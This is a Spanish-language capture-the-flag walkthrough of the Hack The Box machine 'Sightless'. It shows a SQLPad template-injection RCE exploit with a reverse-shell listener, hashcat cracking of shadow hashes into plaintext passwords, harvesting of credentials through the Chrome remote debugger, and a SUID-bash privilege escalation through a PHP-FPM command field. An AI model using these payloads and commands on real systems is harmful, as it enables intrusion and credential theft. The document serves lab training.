Sightless

nmap

```
# Nmap 7.94SVN scan initiated Fri Sep 27 13:36:46 2024 as: nmap -sC -sV -o nmap.scan 10.10.11.32
Nmap scan report for sightless.htb (10.10.11.32)
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linu
| ssh-hostkey:
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Sightless.htb
1 service unrecognized despite returning data. If you know the serp.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/27%Time=66F698E4%P=x86_64-pc-linux
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x2
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20comm
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results a
# Nmap done at Fri Sep 27 13:38:05 2024 -- 1 IP address (1 host up
```

#Si vamos a http://.sightless.htb .

#Veremos un enpoint llamado “sqlpad”.
http://sqlpad.sightless.htb/queries/new

#Buscamos un exploit https://www.google.com/search?client=firefox-b-e&q=sqlpad+exploit.
https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944?tab=readme-ov-file
https://nvd.nist.gov/vuln/detail/CVE-2022-0944

#Ejecutamos el script.
python3 exploit.py http://sqlpad.sightless.htb 10.10.14.220 5555

#Abrimos una conexión en local.

```
nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.220] from (UNKNOWN) [10.10.11.32] 60214
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# whoami
whoami
root
root@c184118df0a6:/var/lib/sqlpad#

cat /ect/hosts
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tIBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

#Probaremos a descifrar el has con hshcat.

hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
================================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
```

* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

6jn8fwk6LVJ9lYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:blindside
6mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tIBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:insaneclownposse

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt 6, SHA512 (Unix))
Hash.Target......: hash.txt
Time.Started.....: Sat Sep 28 04:00:22 2024 (40 secs)
Time.Estimated...: Sat Sep 28 04:01:02 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   2460 H/s (10.25ms) @ Accel:128 Loops:1024 Thr:1 Vec:4
Recovered........: 2/2 (100.00%) Digests (total), 2/2 (100.00%) Digests (new), 2/2 (100.00%) Salts
Progress.........: 116864/28688770 (0.41%)
Rejected.........: 0/116864 (0.00%)
Restore.Point....: 58368/14344385 (0.41%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4096-5000
Candidate.Engine.: Device Generator
Candidates.#1....: kruimel -> ilovetyson

Started: Sat Sep 28 03:59:52 2024
Stopped: Sat Sep 28 04:01:04 2024

#Ya tenemos las credenciales del usuario michel.
#Probaremos a conectar mediante ssh.

user → michel
passwd → insaneclownposse

ssh michael@sightless.htb
michael@sightless.htb's password:
Permission denied, please try again.
michael@sightless.htb's password:
Last login: Sat Sep 28 00:44:58 2024 from 10.10.14.165
michael@sightless:~$ whoami
michael

#Vemos un puerto abierto donde está chrome ejecutandose.
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/chrome-remote-debugger-pentesting/#2.-configure-network-targets-in-chrome

#Abroms un por forwarding al puerto “46381”.
ssh -L 46381:127.0.0.1:46381 michael@sightless.htb -N -f
michael@sightless.htb's password:

#Si no s vamos a chrome://inspect/#devices y añadimos el puerto, veremos una
Devices
 Discover network targets Configure...
Remote Target
#127.0.0.1
Target (125.0.6422.60)
Open tab with url
Open
trace

#Nos dirigimos a http://127.0.0.1:36203/
#Vemos las credenciales:

user → admin
passwd → ForlorfroxAdmin

CVE-2022-0944

https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

Template injection in connection test endpoint leads to RCE in sqlpad/sqlpad
Valid

Proof of Concept

Run a local docker instance

```
sudo docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=admin sqlpad/sqlpad:latest
```

Navigate to http://localhost:3000/
Click on Connections->Add connection
Choose MySQL as the driver
Input the following payload into the Database form field

```
{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}
```

Execute the following command to confirm the /tmp/pwn file was created in the container filesystem

priv_escalation

```
michael@sightless:/usr$ ss -tlnp
State      Recv-Q     Send-Q          Local Address:Port          Peer Address:Port     Process
LISTEN     0          10                127.0.0.1:38883              0.0.0.0:*
LISTEN     0          511               127.0.0.1:8080               0.0.0.0:*
LISTEN     0          4096              127.0.0.1:38719              0.0.0.0:*
LISTEN     0          151               127.0.0.1:3306               0.0.0.0:*
LISTEN     0          128                 0.0.0.0:22                 0.0.0.0:*
LISTEN     0          511                 0.0.0.0:80                 0.0.0.0:*
LISTEN     0          4096            127.0.0.53%lo:53                0.0.0.0:*
LISTEN     0          4096              127.0.0.1:3000               0.0.0.0:*
LISTEN     0          5                 127.0.0.1:49175              0.0.0.0:*
LISTEN     0          70                127.0.0.1:33060              0.0.0.0:*
LISTEN     0          128                   [::]:22                    [::]:*
LISTEN     0          128                     *:21                       *:*

#Vemos un puerto interno abierto, el “8080”.
#Probaremos a realizar un port forwareding con ssh.
ssh -L 8080:127.0.0.1:8080 michael@sightless.htb
michael@sightless.htb's password:
Last login: Sat Sep 28 15:53:13 2024 from 10.10.14.220


#Vemos un panel login.
#Como no tenemos ninguna contraseña o usuario por defecto.
#Encontramos un exploit para Chrome en modo debugger.

#Nos dirigimos a:
chrome://inspect/#devices

Target (125.0.6422.60)
Open tab with url
Open
trace

#Vamos a versions:http://127.0.0.1:8080/admin_phpsettings.php?page=fpmdaemons.
#Añadimos en el apartado comands “chmod 4777 /bin/bash”.

Esperando a que se ejecute el comando obtuvimos lo que queríamos, el binario /bin/bash ahora tiene activada la permanente SUID. Al ejecutarlo usando la opción -p para mantener nuestros privilegios, pudimos obtener acceso de root y recuperar el root.txt.

#Si nos dirigimos a http://127.0.0.1:8080/admin_settings.php?page=overview&part=phpfpm, podremos activar el php-fpm.
michael@sightless:~$ ls /bin/bash
/bin/bash
michael@sightless:~$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1396520 Mar 14  2024 /bin/bash
michael@sightless:~$ /bin/bash -p
bash-5.1# whoami
root
```